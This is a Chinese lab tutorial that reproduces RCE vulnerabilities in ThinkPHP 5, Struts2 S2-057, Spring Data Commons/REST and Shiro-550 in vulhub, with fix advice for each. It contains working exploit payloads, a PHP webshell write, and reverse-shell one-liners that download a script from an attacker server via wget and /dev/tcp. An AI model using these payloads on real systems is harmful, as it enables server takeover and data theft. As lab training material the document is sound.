常见框架漏洞大全(附带修复方法)

目录

  一.ThinkPHP 5-rce

漏洞复现

修复方法

二.Struts 2 s2-057

漏洞复现

漏洞修复

三.Spring 程命令执行命令

1.1 Spring Data Commons 远程命令执行命令(CVE-2018-1273)

漏洞复现

反弹shell

漏洞修复

1.2 spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046)

漏洞复现

反弹shell

漏洞修复

四.Shiro反序列化漏洞 CVE-2016-4437

Shiro rememberMe反序列化漏洞(Shiro-550)

漏洞复现

漏洞修复


一.ThinkPHP 5-rce

      ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式

      ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。TP(2-6)(5-目前使用率较高的)

Thinkphp5x远程命令执行及getshell

漏洞复现

首先我们搭建一个漏洞环境,搭建命令如下

cd vulhub/thinkphp/5-rce
docker-compose up -d #启动环境

进入环境后,我们来到这样一个页面

直接在ip和端口后面拼接一段url如下

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

点击回车后即可看到我们输入的命令(whoami)的执行结果,说明这个页面存在远程命令执行漏洞

然后我们将url中的system替换为phpinfo,whoami替换为-1,则会显示出phpinfo();的执行结果,这说明这个页面也存在远程代码执行漏洞

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

最后,我们尝试获取shell,利用他的远程命令执行漏洞,输出一个一句话木马到1.php文件中,构造url如下,其中$_POST前加反斜杠是因为该网站会对其进行转义,\可以防止被转义

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST['cmd']); ?>" >> 1.php

运行成功后直接在IP后面加上/1.php访问,成功后用蚁剑连接

修复方法

1.对于用户提交的数据,尤其是命令执行相关的数据,一定要进行严格的验证和过滤。例如,您可以使用正则表达式或预定义的白名单来限制可以接受的命令。

2.部署一个 Web 应用防火墙可以帮助阻止恶意请求到达您的应用程序。WAF 可以检测并阻止潜在的攻击尝试。

3.进行代码审计,查找潜在的安全漏洞。确保遵循最佳实践,例如使用预编译语句防止 SQL 注入,使用 HTTPS 加密通信等。

4.确保您的服务器操作系统和其他相关软件(如 PHP、Apache/Nginx)都是最新版本,并安装了所有必要的安全补丁。

5.启用日志记录以监控异常行为,并定期审查日志文件以查找潜在的攻击迹象。

二.Struts 2 s2-057

       Apache Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。Struts 2在2007年7月23日发布的第一个Struts 2漏洞S2-001。
       Struts2漏洞是一个远程命令执行漏洞和开放重定向漏洞。利用漏洞,黑客可发起远程攻击不但可以窃取网站数据信息,甚至还可取得网站服务器控制权。而且,目前针对此漏洞的自动化工具开始出现,攻击者无需具备与漏洞相关的专业知识即可侵入服务器,直接执行命令操作,盗取数据甚至进行毁灭性操作。

漏洞复现

首先搭建环境,搭建命令如下

cd vulhub/struts2/s2-057
docker-compose up -d

搭建完成后去访问靶机的/struts2-showcase目录,出现如下页面后,在url后面再拼接上/${(123+123)}/actionChain1.action后按下回车,即可出现我们所url中两个123相加的结果

这证明这个网页有代码执行漏洞,所以我们构造exp并编码后将其替换,exp内容与url编码后内容如下

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}


$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

开启抓包后重新访问此页面,抓到包后先发送到重放器,在抓到的数据包中,将上面构造的经过编码的exp替换请求头中的246,并将后面的/register2.action替换为/actionChain1.action

点击发送后,右边显示了302,且返回包中出现了root,说明成功执行了我们构造的exp中的whoami命令

漏洞修复

1.Struts2 更新到最新版本

2.应用官方发布的安全补丁

3.过滤恶意请求头

三.Spring 远程命令执行漏洞

        Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
       2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(SpringExpressionLanguage)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

      因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。

1.1 Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

      Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令

漏洞复现

搭建环境命令如下

cd vulhub/spring/CVE-2018-1273
docker-compose up -d                                                                                                                          

搭建好环境后,我们对其进行访问,在如下页面中,访问目标的/users目录

在users中,我们看到了一个注册页面,随便输入注册信息后,开启抓包然后点击注册

在我们获取到数据包后,先右键将其发送到重放器,然后替换poc如下,这个poc的内容是在tmp目录下写入一个zcc的文件,点击发送

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

点击发送后显示了500,这是成功了,我们在靶机中利用如下命令进入靶机的bashshell,并查看tmp中是否有zcc文件

docker ps
//查看当前靶机环境id

docker exec -it id bin/bash
//进入

ls /tmp
//查看tmp目录

这里发现成功生成

反弹shell

我们在一个靶机可以远程连接到的服务器上创建一个名为shell.sh的文件,内容为反弹shell的语句如下,然后在该服务器上开启端口监听

bash -i >& /dev/tcp/IP/port 0>&1

在靶机中再次抓包,用下面语句替换exec中的内容后发送,这是为了让靶机可以下载到服务器中的shell.sh文件

/usr/bin/wget -q0 /tmp/shell.sh http://IP:port/shell.sh

发送后到靶机中查看,发现成功下载

然后用命令/bin/bash /tmp/shell.sh执行这个脚本文件,成功反弹shell

漏洞修复

禁止网站访问到外界连接

1.2 spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046)

      Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码

漏洞复现

搭建环境命令如下

cd vulhub/spring/CVE-2017-8046/
docker-compose up -d

搭建好环境后我们访问环境的/customers/1目录,进入如下页面

然后开启抓包后再次访问,将抓到的请求包发送到重放器后,替换为如下包,其中的其中的

new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}

是经过ascii编码的touch /tmp/success(在tmp目录下生成一个success文件),

PATCH /customers/1 HTTP/1.1
Host: 192.168.156.129:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

替换后点击发送,然后回到靶机中查看tmp目录下的文件,利用命令如下,这里命令成功执行

docker ps
//查看当前靶机环境id

docker exec -it id bin/bash
//进入

ls /tmp
//查看tmp目录

反弹shell

     我们先构造一个反弹shell的语句,将其base64编码后再ascii编码

bash -i >& /dev/tcp/监听服务器ip/监听端口 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTMzLzQ0NTUgMD4mMQ==
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTMzLzQ0NTUgMD4mMQ==}|{base64,-d}|{bash,-i}


98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,117,77,84,77,122,76,122,81,48,78,84,85,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

然后用二次编码后的数字替换掉原本添加的pyload中的数字后点击发送

成功反弹到shell

漏洞修复

1.将 Spring Data REST 更新到最新的稳定版本

2.禁用 JSON Patch 支持

3.在 Spring Data REST 中禁用 SpEL 表达式的使用

四.Shiro反序列化漏洞 CVE-2016-4437

        Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

      在Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。
      由于使用了AES加密,成功利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+blxk5D2deZilxcaaaA==,于是就可得到Payload的构造流程: 恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

Shiro rememberMe反序列化漏洞(Shiro-550)

       Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

       看响应包使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架:

漏洞复现

搭建vulhub环境命令如下

cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

我们进入环境后,先开启抓包刷新一下页面,然后在请求包中的cookie字段中添加rememberMe=123;后查看header中是否返回rememberMe=deleteMe值,如果有,则证明使用了shiro框架

然后检测漏洞我们需要用到一个工具--shiro_attack,下载链接如下https://github.com/j1anFen/shiro_attack

打开工具后,将url端口填入目标地址中,点击爆破密钥,即可进行命令执行和上传木马

这个软件上传木马时可能无法解析单个单词,所以为了以防出错,不要乱改密码与路径

漏洞修复

1.将 Apache Shiro 更新到最新的稳定版本

2.禁用默认的 CookieRememberMeManager

3.对于所有用户提交的数据进行严格的验证和过滤

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值